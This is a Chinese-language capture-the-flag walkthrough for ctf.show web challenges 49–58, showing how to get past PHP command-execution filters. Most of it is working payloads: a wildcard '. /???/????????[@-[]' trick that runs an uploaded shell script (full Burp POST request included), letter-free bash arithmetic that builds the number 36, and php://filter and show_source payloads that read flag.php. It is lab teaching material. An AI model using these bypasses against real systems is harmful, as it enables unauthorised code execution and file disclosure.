- web49
- web50
- web51
- web52
- web53
- web54
- web55
- web56
- web57
- web58
解答: 过滤的内容依旧只是命令的字符串,过滤了$
所以不能拼接,*
不能使用通配符,过滤了%
不能用换行%0a
之类的过滤。
web46的第二个payload可以使用。 nl
POST数据包POC
文件名:
抓包,下附抓包内容。 需要时修改HOST地址为题目地址即可。修改时注意没有http://
,最后也没有/
结尾,不去掉会出错。 payload:?c=.+/???/????????[@-[]
后面的[@-[]是linux下面的匹配符,是进行匹配的大写字母。
后续我拿我之前做的记录截图,就不再重做了,用的还是以前的burp。 附上burp传递的内容。
POST /?c=.%20/???/????????[@-[] HTTP/1.1
Host: c384457a-592d-4547-adad-4b8552845e94.chall.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------397130793013726083754245254477
Content-Length: 364
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/ctf/web/php/upload.html
Cookie: UM_distinctid=174ba7e36f4893-09d527032ef6bb8-4c3f247a-15f900-174ba7e36f6938
Upgrade-Insecure-Requests: 1
-----------------------------397130793013726083754245254477
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream
#!/bin/sh
ls
-----------------------------397130793013726083754245254477
Content-Disposition: form-data; name="submit"
鎻愪氦
-----------------------------397130793013726083754245254477--
解答: 方法同上,host修改一下就可以用。
web57解答:过滤了字母和数字,题目提示flag在36.php中,所以,我们要构造数字36。
shell中$(( )) 与 ( ) 还有 ( ) 还有 ()还有{ }的区别
${_}
:代表上一次命令执行的结果,之前没有命令返回或者执行,结果应该是空,与""
等价 $(())
: 做运算 $((""))
值为0,$((~$((""))))
值为-1,---->$(($((~$((""))))$((~$((""))))))
结果是(-1-1=-2)
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))
#拼接得到-37 , -37取反得到36
${_} ="" //返回上一次命令
#也可以payload:
$((~$(($((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))))))
web58
解答:有一些函数被禁用了,具体的不清楚,测试的几个常用的不能用。注意是post传递,不是get
可以使用伪协议:c=include "php://filter/read=convert.base64-encode/resource=flag.php";
或者:c=show_source('flag.php');